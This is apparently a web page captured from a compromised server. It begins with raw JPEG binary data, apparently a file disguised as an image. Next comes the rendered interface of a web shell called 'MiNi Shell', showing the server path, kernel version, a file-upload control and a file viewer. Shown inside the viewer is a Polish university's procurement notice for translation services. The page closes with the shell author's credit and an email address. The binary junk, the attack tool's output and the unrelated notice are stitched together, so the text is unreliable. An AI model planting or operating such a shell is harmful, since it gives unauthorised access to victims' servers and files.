JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/common/web/tenders/20230306/

Linux 9dbcd5f6333d 5.15.0-124-generic #134-Ubuntu SMP Fri Sep 27 20:20:17 UTC 2024 x86_64
Upload File :
Current File : /home/vmanager/www/common/web/tenders/20230306/0012296901-N-2023.html

<!-- Version 1.0.0 --><style type="text/css"> .normal { color: black; } h1.title { }</style> <h1 class="text-center mt-5 mb-5">Ogłoszenie o zamówieniu<br/> Usługi<br/> Kompleksowa usługa tłumaczeń pisemnych </h1> <h2 class="bg-light p-3 mt-4">SEKCJA I - ZAMAWIAJĄCY</h2> <h3 class="mb-0">1.1.) Rola zamawiającego</h3> <p class="mb-0">Postępowanie prowadzone jest samodzielnie przez zamawiającego</p> <h3 class="mb-0">1.2.) Nazwa zamawiającego: <span class="normal">UNIWERSYTET JANA KOCHANOWSKIEGO W KIELCACH</span></h3> <h3 class="mb-0">1.4) Krajowy Numer Identyfikacyjny: <span class="normal">REGON 000001407</span></h3><h3 class="mb-0">1.5) Adres zamawiającego </h3> <h3 class="mb-0">1.5.1.) Ulica: <span class="normal">ul. Stefana Żeromskiego 5</span></h3> <h3 class="mb-0">1.5.2.) Miejscowość: <span class="normal">Kielce</span></h3> <h3 class="mb-0">1.5.3.) Kod pocztowy: <span class="normal">25-369</span></h3> <h3 class="mb-0">1.5.4.) Województwo: <span class="normal">świętokrzyskie</span></h3> <h3 class="mb-0">1.5.5.) Kraj: <span class="normal">Polska</span></h3> <h3 class="mb-0">1.5.6.) Lokalizacja NUTS 3: <span class="normal">PL721 - Kielecki</span></h3> <h3 class="mb-0">1.5.7.) Numer telefonu: <span class="normal">41 3497276</span></h3> <h3 class="mb-0">1.5.9.) Adres poczty elektronicznej: <span class="normal">bfluder@ujk.edu.pl</span></h3> <h3 class="mb-0">1.5.10.) Adres strony internetowej zamawiającego: <span class="normal">www.ujk.edu.pl</span></h3> <h3 class="mb-0"> 1.6.) Rodzaj zamawiającego: <span class="normal">Zamawiający publiczny - jednostka sektora finansów publicznych - uczelnia publiczna</span> </h3> <h3 class="mb-0"> 1.7.) Przedmiot działalności zamawiającego: <span class="normal">Edukacja</span> </h3> <h2 class="bg-light p-3 mt-4">SEKCJA II – INFORMACJE PODSTAWOWE</h2> <h3 class="mb-0">2.1.) Ogłoszenie dotyczy: </h3> <p class="mb-0"> Zamówienia publicznego </p> <h3 class="mb-0">2.2.) Ogłoszenie dotyczy usług społecznych i innych szczególnych usług: <span class="normal">Tak</span></h3> <h3 class="mb-0">2.3.) Nazwa zamówienia albo umowy ramowej: </h3> <p class="mb-0"> Kompleksowa usługa tłumaczeń pisemnych </p> <h3 class="mb-0">2.4.) Identyfikator postępowania: <span class="normal">ocds-148610-3cb144a6-bbf7-11ed-b8d9-2a18c1f2976f</span></h3> <h3 class="mb-0">2.5.) Numer ogłoszenia: <span class="normal">2023/BZP 00122969</span></h3> <h3 class="mb-0">2.6.) Wersja ogłoszenia: <span class="normal">01</span></h3> <h3 class="mb-0">2.7.) Data ogłoszenia: <span class="normal">2023-03-06</span></h3> <h3 class="mb-0">2.8.) Zamówienie albo umowa ramowa zostały ujęte w planie postępowań: <span class="normal">Tak</span></h3> <h3 class="mb-0">2.9.) Numer planu postępowań w BZP: <span class="normal">2023/BZP 00030579/01/P</span></h3> <h3 class="mb-0">2.10.) Identyfikator pozycji planu postępowań: </h3> <p class="mb-0">1.3.16 Usługa w zakresie tłumaczeń pisemnych</p> <h3 class="mb-0">2.11.) O udzielenie zamówienia mogą ubiegać się wyłącznie wykonawcy, o których mowa w art. 94 ustawy: <span class="normal">Nie</span></h3> <h3 class="mb-0">2.13.) O zamówienie mogą ubiegać się wyłącznie wykonawcy, którzy spełniają warunki określone w art. 361 ustawy – usługi społeczne: <span class="normal">Nie</span></h3> <h3 class="mb-0">2.14.) Czy zamówienie albo umowa ramowa dotyczy projektu lub programu współfinansowanego ze środków Unii Europejskiej: <span class="normal">Tak</span></h3> <h3 class="mb-0">2.15.) Nazwa projektu lub programu</h3> <p class="mb-0"> „Doskonałość dydaktyczna uczelni” nr POWR.03.04.00-00-P023/21 współfinansowany ze środków Europejskiego Funduszu Społecznego w ramach Programu Operacyjnego Wiedza Edukacja Rozwój 2014-2020, Osi priorytetowej III Szkolnictwo wyższe dla gospodarki i rozwoju, Działania 3.4 Zarządzanie w instytucjach szkolnictwa wyższego, </p> <h3 class="mb-0">2.16.) Tryb udzielenia zamówienia wraz z podstawą prawną</h3> <p class="mb-0"> Zamówienie udzielane jest w trybie podstawowym na podstawie: art. 275 pkt 1 ustawy </p> <h2 class="bg-light p-3 mt-4">SEKCJA III – UDOSTĘPNIANIE DOKUMENTÓW ZAMÓWIENIA I KOMUNIKACJA</h2> <h3 class="mb-0">3.1.) Adres strony internetowej prowadzonego postępowania</h3> https://ezamowienia.gov.pl/mp-client/search/list/ocds-148610-3cb144a6-bbf7-11ed-b8d9-2a18c1f2976f <h3 class="mb-0">3.2.) Zamawiający zastrzega dostęp do dokumentów zamówienia: <span class="normal">Nie</span></h3> <h3 class="mb-0">3.4.) Wykonawcy zobowiązani są do składania ofert, wniosków o dopuszczenie do udziału w postępowaniu, oświadczeń oraz innych dokumentów wyłącznie przy użyciu środków komunikacji elektronicznej: <span class="normal">Tak</span></h3> <h3 class="mb-0">3.5.) Informacje o środkach komunikacji elektronicznej, przy użyciu których zamawiający będzie komunikował się z wykonawcami - adres strony internetowej: <span class="normal">W postępowaniu o udzielenie zamówienia komunikacja między Zamawiającym, a Wykonawcami odbywa się przy użyciu platformy: e-Zamówienia, która jest dostępna pod adresem: https://ezamowienia.gov.pl oraz poczty elektronicznej bfluder@ujk.edu.pl . Szczegóły zostały opisane w Rozdziale X SWZ</span></h3> <h3 class="mb-0">3.6.) Wymagania techniczne i organizacyjne dotyczące korespondencji elektronicznej: <span class="normal">Szczegóły zostały opisane w Rozdziale X SWZ</span></h3> <h3 class="mb-0">3.8.) Zamawiający wymaga sporządzenia i przedstawienia ofert przy użyciu narzędzi elektronicznego modelowania danych budowlanych lub innych podobnych narzędzi, które nie są ogólnie dostępne: <span class="normal">Nie</span></h3> <h3 class="mb-0">3.12.) Oferta - katalog elektroniczny: <span class="normal">Nie dotyczy</span></h3> <h3 class="mb-0">3.14.) Języki, w jakich mogą być sporządzane dokumenty składane w postępowaniu: </h3> <p class="mb-0">polski</p> <h3 class="mb-0">3.15.) RODO (obowiązek informacyjny): <span class="normal">Szczegółowe określenie zasad związanych z obowiązkiem informacyjnym RODO zawarto w rozdziale II SWZ</span></h3> <h3 class="mb-0">3.16.) RODO (ograniczenia stosowania): <span class="normal">Szczegółowe określenie zasad związanych z obowiązkiem informacyjnym RODO zawarto w rozdziale II SWZ</span></h3> <h2 class="bg-light p-3 mt-4">SEKCJA IV – PRZEDMIOT ZAMÓWIENIA</h2><h3 class="mb-0">4.1.) Informacje ogólne odnoszące się do przedmiotu zamówienia.</h3> <h3 class="mb-0">4.1.1.) Przed wszczęciem postępowania przeprowadzono konsultacje rynkowe: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.1.2.) Numer referencyjny: <span class="normal">ADP.2301.5.2023</span></h3> <h3 class="mb-0">4.1.3.) Rodzaj zamówienia: <span class="normal">Usługi</span></h3> <h3 class="mb-0">4.1.4.) Zamawiający udziela zamówienia w częściach, z których każda stanowi przedmiot odrębnego postępowania: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.1.5.) Wartość zamówienia: <span class="normal"> 356000 PLN </span> </h3> <h3 class="mb-0">4.1.8.) Możliwe jest składanie ofert częściowych: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.1.13.) Zamawiający uwzględnia aspekty społeczne, środowiskowe lub etykiety w opisie przedmiotu zamówienia: <span class="normal">Nie</span></h3><h3 class="mb-0">4.2. Informacje szczegółowe odnoszące się do przedmiotu zamówienia:</h3> <h3 class="mb-0">4.2.2.) Krótki opis przedmiotu zamówienia</h3> <p class="mb-0"> Przedmiotem zamówienia jest usługa polegająca na tłumaczeniu pisemnym wewnętrznych aktów normatywnych wydawanych na Uniwersytecie Jana Kochanowskiego w Kielcach z języka polskiego na język angielski oraz z języka polskiego na język ukraiński. </p> <h3 class="mb-0">4.2.6.) Główny kod CPV: <span class="normal">79530000-8 - Usługi w zakresie tłumaczeń pisemnych</span></h3> <h3 class="mb-0">4.2.8.) Zamówienie obejmuje opcje: <span class="normal">Nie</span></h3> <!-- realizacja w dniach --> <h3 class="mb-0">4.2.10.) Okres realizacji zamówienia albo umowy ramowej: <span class="normal">5 miesiące</span></h3> <h3 class="mb-0">4.2.11.) Zamawiający przewiduje wznowienia: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.2.13.) Zamawiający przewiduje udzielenie dotychczasowemu wykonawcy zamówień na podobne usługi lub roboty budowlane: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.3.) Kryteria oceny ofert</h3> <h3 class="mb-0">4.3.1.) Sposób oceny ofert: <span class="normal">Ad.1) Cena oferty <br/>Ocena w zakresie tego kryterium zostanie dokonana na podstawie wypełnionego załącznika nr 1 do SWZ pn. ”Formularz ofertowy” i złożonej w nim ceny ofertowej Wykonawcy. Maksymalna liczba punktów, jaką Zamawiający może przyznać w tym kryterium to 60 pkt.<br/>Maksymalną liczbę punktów – 60 pkt, otrzyma oferta Wykonawcy, który nie podlega wykluczeniu z postępowania oraz którego oferta nie podlega odrzuceniu i który zaproponował najniższą ceną brutto za realizację zamówienia. Każda następna oferta otrzyma odpowiednio mniej punktów, zgodnie ze wzorem:<br/>C = (Cn / Co) x40 pkt<br/>gdzie: C – ocena punktowa za oceniane kryterium ceny oferty<br/>Cn – najniższa cena ofertowa (brutto) spośród wszystkich podlegających ocenie ofert<br/>Co – cena oferty ocenianej (brutto)<br/><br/>Ad.2) Potencjał kadrowy – liczba osób skierowanych do realizacji zamówienia <br/>Ocena w zakresie tego kryterium zostanie dokonana na podstawie wypełnionego załącznika nr 2a do SWZ pn.: „Formularz rzeczowo-cenowy” i złożonej w nim deklaracji Wykonawcy. Maksymalna liczba punktów, jaką Zamawiający może przyznać w tym kryterium to 40 pkt.<br/>Uwaga! Te same osoby muszą być wskazane do realizacji przedmiotu zamówienia w „Wykazie osób” składanym na wezwanie na potwierdzenie spełnienia warunków udziału w postępowaniu.<br/>W kryterium Potencjał kadrowy – liczba osób skierowanych do realizacji zamówienia, Zamawiający przyzna punkty wyłącznie za dodatkowy, wykraczający poza min. potencjał kadrowy określony w warunku udziału<br/>w postępowaniu tj. powyżej 4 osób spełniających warunek udziału w postępowaniu skierowanej do realizacji zamówienia. Punkty zostaną przyznane zgodnie ze schematem:<br/>4 osoby skierowane do realizacji zamówienia – 0 pkt<br/>5 osób skierowanych do realizacji zamówienia –20 pkt<br/>6 i więcej osób skierowanych do realizacji zamówienia – 40 pkt<br/>Zamawiający zsumuje punkty przyznane ofercie w wyżej określonych kryteriach i wybierze ofertę, która otrzyma najwyższą liczbę punktów. Zamawiający dokona całkowitej oceny końcowej oferty według poniższego wzoru: S = Ad. 1) + Ad. 2)</span></h3> <h3 class="mb-0">4.3.2.) Sposób określania wagi kryteriów oceny ofert: <span class="normal"> Procentowo </span></h3> <h3 class="mb-0">4.3.3.) Stosowane kryteria oceny ofert: <span class="normal"> Kryterium ceny oraz kryteria jakościowe </span></h3> <h3 class="mb-0">Kryterium 1</h3> <h3 class="mb-0">4.3.5.) Nazwa kryterium: <span class="normal">Cena</span></h3> <h3 class="mb-0">4.3.6.) Waga: <span class="normal">60</span></h3> <h3 class="mb-0">Kryterium 2</h3> <h3 class="mb-0">4.3.4.) Rodzaj kryterium: </h3> inne. <h3 class="mb-0">4.3.5.) Nazwa kryterium: <span class="normal">Potencjał kadrowy – liczba osób skierowanych do realizacji zamówienia</span></h3> <h3 class="mb-0">4.3.6.) Waga: <span class="normal">40</span></h3> <h3 class="mb-0">4.3.10.) Zamawiający określa aspekty społeczne, środowiskowe lub innowacyjne, żąda etykiet lub stosuje rachunek kosztów cyklu życia w odniesieniu do kryterium oceny ofert: <span class="normal">Nie</span></h3> <h2 class="bg-light p-3 mt-4">SEKCJA V - KWALIFIKACJA WYKONAWCÓW</h2> <h3 class="mb-0">5.1.) Zamawiający przewiduje fakultatywne podstawy wykluczenia: <span class="normal">Nie</span></h3> <h3 class="mb-0">5.3.) Warunki udziału w postępowaniu: <span class="normal">Tak</span></h3> <h3 class="mb-0">5.4.) Nazwa i opis warunków udziału w postępowaniu.</h3> 1.	Zdolność do występowania w obrocie gospodarczym – Zamawiający nie wyznacza warunku w tym zakresie.<br/>2.	Uprawnienia do prowadzenia określonej działalności gospodarczej lub zawodowej, o ile wynika to z odrębnych przepisów – Zamawiający nie wyznacza warunku w tym zakresie.<br/>3.	Sytuacja ekonomiczna lub finansowa – Zamawiający nie ustanawia warunku w tym zakresie.<br/>4.	Zdolność techniczna lub zawodowa:<br/>Wykonawca spełni warunek udziału w postępowaniu dotyczący zdolności zawodowej jeżeli wykaże, że:<br/>1)	posiada doświadczenie:<br/> Wykonawca spełni warunek, jeżeli wykaże, że w okresie ostatnich 3 lat liczonych wstecz od dnia, w którym upływa termin składania ofert, a jeżeli okres prowadzenia działalności jest krótszy – w tym okresie należycie wykonał co najmniej: <br/>	dwie usługi polegające na wykonaniu tłumaczenia pisemnego na język angielski dokumentów<br/>o charakterze prawnym, obejmujące minimum 300 przetłumaczonych stron. Za jedną stronę tekstu tłumaczenia uznaje się stronę zawierającą 1800 znaków ze spacjami zliczonych w dokumencie przetłumaczonym;<br/> dwie usługi polegające na wykonaniu tłumaczenia pisemnego na język ukraiński dokumentów o charakterze prawnym, obejmujących minimum 300 przetłumaczonych stron. Za jedną stronę tekstu tłumaczenia uznaje się stronę zawierającą 1800 znaków ze spacjami zliczonych w dokumencie przetłumaczonym.<br/>ŁĄCZNIE MINIMUM 4 USŁUGI.<br/>2)	dysponowania osobami zdolnymi do wykonania zamówienia:<br/>Wykonawca spełni wskazany warunek udziału w postępowaniu, jeżeli skieruje do realizacji zamówienia:<br/>•	Minimum dwóch tłumaczy języka angielskiego, z których każdy spełnia poniższe wymagania:<br/>	w przypadku tłumacza, którego rodzimym językiem jest język polski posiadanie minimum tytuł magistra filologii angielskiej lub lingwistyki stosowanej (język wiodący – angielski) poświadczony stosownym oświadczeniem lub kwalifikacje językowe poświadczone stosownym oświadczeniem stwierdzającym znajomość języka angielskiego na poziomie C2 zgodnie ze skalą biegłości językowej według Rady Europy lub równoważny,<br/>	w przypadku Wykonawcy, którego rodzimym językiem jest język angielski posiadanie tytułu magistra filologii polskiej poświadczone stosownym oświadczeniem lub kwalifikacje językowe poświadczone stosownym oświadczeniem stwierdzającym znajomość języka polskiego na poziomie C2 zgodnie ze skalą biegłości językowej według Państwowej Komisji do spraw Poświadczania Znajomości Języka Polskiego jako Obcego lub równoważny oraz<br/>	dokonywał tłumaczeń tekstów z języka polskiego na język angielski z zakresu zadań wymienionych w opisie przedmiotu zamówienia o łącznej liczbie stron przetłumaczonych nie mniejszej niż 300, poświadczonych stosownym oświadczeniem (Osoba podana z imienia i nazwiska w wykazie osób)<br/>•	Minimum dwóch tłumaczy języka ukraińskiego, z których każdy spełnia poniższe wymagania:<br/>	w przypadku Wykonawcy, którego rodzimym językiem jest język polski posiadanie tytuł magistra filologii ukraińskiej lub lingwistyki stosowanej (z językiem ukraińskim) poświadczony stosowanym oświadczeniem lub kwalifikacje językowe poświadczone stosownym oświadczeniem stwierdzającym znajomość języka ukraińskiego na poziomie C2 zgodnie ze skalą biegłości językowej według Rady Europy lub równoważny,<br/>	w przypadku Wykonawcy, którego rodzimym językiem jest język ukraiński, posiadanie tytuł magistra filologii polskiej lub lingwistyki stosowanej (z językiem polskim), poświadczony stosowanym oświadczeniem lub posiadanie kwalifikacji językowych poświadczonych stosownym oświadczeniem stwierdzającym znajomość języka polskiego na poziomie C2 zgodnie ze skalą biegłości językowej według Państwowej Komisji do spraw Poświadczania Znajomości Języka Polskiego jako Obcego lub równoważny oraz <br/>	dokonał tłumaczeń tekstów z języka polskiego na język ukraiński z zakresu zadań wymienionych w opisie przedmiotu zamówienia o łącznej liczbie stron przetłumaczonych nie mniejszej niż 300, poświadczonych stosownym oświadczeniem, <br/>Uwaga!! Przedmiot zamówienia będzie mógł być realizowany tylko przez osoby wskazane przez Wykonawcę w wykazie i spełniające warunki określone w treści SWZ. Wykonawca, w celu sprawnej realizacji poszczególnych umowy może podać większą liczbę osób, które przewiduje do wykonania przedmiotu umowy, z tym, że każda z osób winna spełniać warunki określone w SWZ. Zamawiający nie dopuszcza spełnienia (łączenia) przez jedną wskazaną osobę warunków określonych powyżej. <h3 class="mb-0">5.5.) Zamawiający wymaga złożenia oświadczenia, o którym mowa w art.125 ust. 1 ustawy: <span class="normal">Tak</span></h3> <h3 class="mb-0"> 5.6.) Wykaz podmiotowych środków dowodowych na potwierdzenie niepodlegania wykluczeniu: <span class="normal">Zamawiający wezwie Wykonawcę, którego oferta została najwyżej oceniona, do złożenia w wyznaczonym terminie, nie krótszym niż 5 dni od dnia<br/>wezwania, aktualnych na dzień złożenia oświadczenia o braku podstaw do wykluczenia i następujących podmiotowych środków dowodowych: oświadczenia wykonawcy, w zakresie art. 108 ust. 1 pkt 5 ustawy, o braku przynależności do tej samej grupy kapitałowej w rozumieniu ustawy z dnia 16 lutego 2007 r. o ochronie konkurencji i konsumentów (Dz. U. z 2020 r. poz. 1076 i 1086), z innym wykonawcą, który złożył odrębną ofertę, ofertę częściową, albo oświadczenia o przynależności do tej samej grupy kapitałowej wraz z dokumentami lub informacjami potwierdzającymi przygotowanie oferty, oferty częściowej niezależnie od innego wykonawcy należącego do tej samej grupy kapitałowej (Załącznik nr 8 do SWZ);</span> </h3> <h3 class="mb-0"> 5.7.) Wykaz podmiotowych środków dowodowych na potwierdzenie spełniania warunków udziału w postępowaniu: <span class="normal">Zamawiający wezwie Wykonawcę, którego oferta została najwyżej oceniona, do złożenia w wyznaczonym terminie, nie krótszym niż 5 dni od dnia wezwania, aktualnych na dzień złożenia oświadczenia o braku podstaw do wykluczenia i następujących podmiotowych środków dowodowych:<br/>-wykazu usług wykonanych nie wcześniej niż w okresie ostatnich 3 lat, a jeżeli okres prowadzenia działalności jest krótszy – w tym okresie, wraz z podaniem ich rodzaju, wielkości, przedmiotu, dat wykonania i podmiotów, na rzecz których usługi zostały wykonane, zgodnie ze wzorem stanowiącym załącznik nr 9 do SWZ oraz dołączenia dowodów określających czy te usługi zostały wykonane należycie. Dowodami, o których mowa wyżej, są referencje bądź inne dokumenty sporządzone przez podmiot, na rzecz którego dostawy lub usługi były wykonywane, a w przypadku świadczeń powtarzających się lub ciągłych są wykonywane. W przypadku świadczeń powtarzających się lub ciągłych nadal wykonywanych referencje bądź inne dokumenty potwierdzające ich należyte wykonywanie powinny być wystawione w okresie ostatnich 3 miesięcy liczonych wstecz od dnia, w którym upływa termin składania ofert w postępowaniu. Oświadczenie Wykonawcy jeżeli<br/>z uzasadnionej przyczyny o obiektywnym charakterze Wykonawca nie jest w stanie uzyskać dokumentów, o których mowa powyżej;<br/>-wykaz osób, skierowanych przez wykonawcę do realizacji zamówienia publicznego, w szczególności odpowiedzialnych za świadczenie usług, wraz z informacjami na temat ich kwalifikacji zawodowych, uprawnień, a także zakresu wykonywanych przez nie czynności oraz informacją o podstawie do dysponowania tymi osobami, sporządzonego wg wzoru stanowiącego załącznik nr 10 do SWZ;</span> </h3> <h3 class="mb-0">5.8.) Wykaz przedmiotowych środków dowodowych: </h3> Zamawiający nie żąda przedmiotowych środków dowodowych w postępowaniu <h3 class="mb-0">5.11.) Wykaz innych wymaganych oświadczeń lub dokumentów: </h3> 1)	formularza ofertowego Wykonawcy – Załącznik Nr 2 do SWZ (interaktywny formularz dostępny na Platformie e-Zamówienia);<br/>2)	formularza rzeczowo-cenowego – Załącznik Nr 2a do SWZ;<br/>3)	oświadczenia, o którym mowa w rozdz. IX ust. 1 pkt 1) stanowiącego załącznik nr 4 do SWZ;<br/>4)	oświadczenia, o którym mowa w rozdz. IX ust. 1 pkt 2) stanowiącego załącznik nr 5 do SWZ;<br/>5)	oświadczenie Wykonawców wspólnie ubiegających się o zamówienie (jeżeli dotyczy), stanowiące załącznik nr 7 do SWZ;<br/>6)	oświadczenia składane przy poleganiu na zasobach podmiotów trzecich (jeżeli dotyczy), stanowiące załącznik nr 6 do SWZ;<br/>7)	dokumentu/-ów, z których wynika prawo do podpisania oferty; <br/>8)	odpowiednie pełnomocnictwa (jeżeli dotyczy);<br/>9)	wykazania zastrzeżenia informacji stanowiących tajemnicę przedsiębiorstwa zgodnie rozdz. XIII ust. 6 (jeżeli dotyczy). <h2 class="bg-light p-3 mt-4">SEKCJA VI - WARUNKI ZAMÓWIENIA</h2> <h3 class="mb-0">6.1.) Zamawiający wymaga albo dopuszcza oferty wariantowe: <span class="normal">Nie</span></h3> <h3 class="mb-0">6.3.) Zamawiający przewiduje aukcję elektroniczną: <span class="normal">Nie</span></h3> <h3 class="mb-0">6.4.) Zamawiający wymaga wadium: <span class="normal">Nie</span></h3> <h3 class="mb-0">6.5.) Zamawiający wymaga zabezpieczenia należytego wykonania umowy: <span class="normal">Nie</span></h3> <h3 class="mb-0">6.7.) Zamawiający przewiduje unieważnienie postępowania, jeśli środki publiczne, które zamierzał przeznaczyć na sfinansowanie całości lub części zamówienia nie zostały przyznane: <span class="normal">Tak</span></h3> <h2 class="bg-light p-3 mt-4">SEKCJA VII - PROJEKTOWANE POSTANOWIENIA UMOWY</h2> <h3 class="mb-0">7.1.) Zamawiający przewiduje udzielenia zaliczek: <span class="normal">Nie</span></h3> <h3 class="mb-0">7.3.) Zamawiający przewiduje zmiany umowy: <span class="normal">Tak</span></h3> <h3 class="mb-0">7.4.) Rodzaj i zakres zmian umowy oraz warunki ich wprowadzenia: </h3> Szczegółowe informację zostały określenie w rozdziale XX SWZ <h3 class="mb-0">7.5.) Zamawiający uwzględnił aspekty społeczne, środowiskowe, innowacyjne lub etykiety związane z realizacją zamówienia: <span class="normal">Nie</span></h3> <h2 class="bg-light p-3 mt-4">SEKCJA VIII – PROCEDURA</h2> <h3 class="mb-0">8.1.) Termin składania ofert: <span class="normal">2023-03-15 10:00</span></h3> <h3 class="mb-0">8.2.) Miejsce składania ofert: <span class="normal">Ofertę należy złożyć drogą elektroniczną za pośrednictwem Platformyd: https://ezamowienia.gov.pl/pl/</span></h3> <h3 class="mb-0">8.3.) Termin otwarcia ofert: <span class="normal">2023-03-15 11:00</span></h3> <h3 class="mb-0">8.4.) Termin związania ofertą: <span class="normal">do 2023-04-13</span></h3> <h2 class="bg-light p-3 mt-4">SEKCJA IX – POZOSTAŁE INFORMACJE</h2> Z postępowania o udzielenie zamówienia wyklucza się również Wykonawców, w stosunku do których zachodzi którakolwiek z okoliczności wskazanych w art. 7 ust. 1 ustawy z dnia 13 kwietnia 2022 r. o szczególnych rozwiązaniach w zakresie przeciwdziałania wspieraniu agresji na Ukrainę oraz służących ochronie bezpieczeństwa narodowego (Dz. U. poz. 835 z dnia 15 kwietnia 2022 r.), zwanej dalej: „Ustawą o szczególnych rozwiązaniach”. Wykluczenie następuje na okres trwania okoliczności określonych w art. 7 ust. 1 Ustawy o szczególnych rozwiązaniach.

Creat By MiNi SheLL
Email: jattceo@gmail.com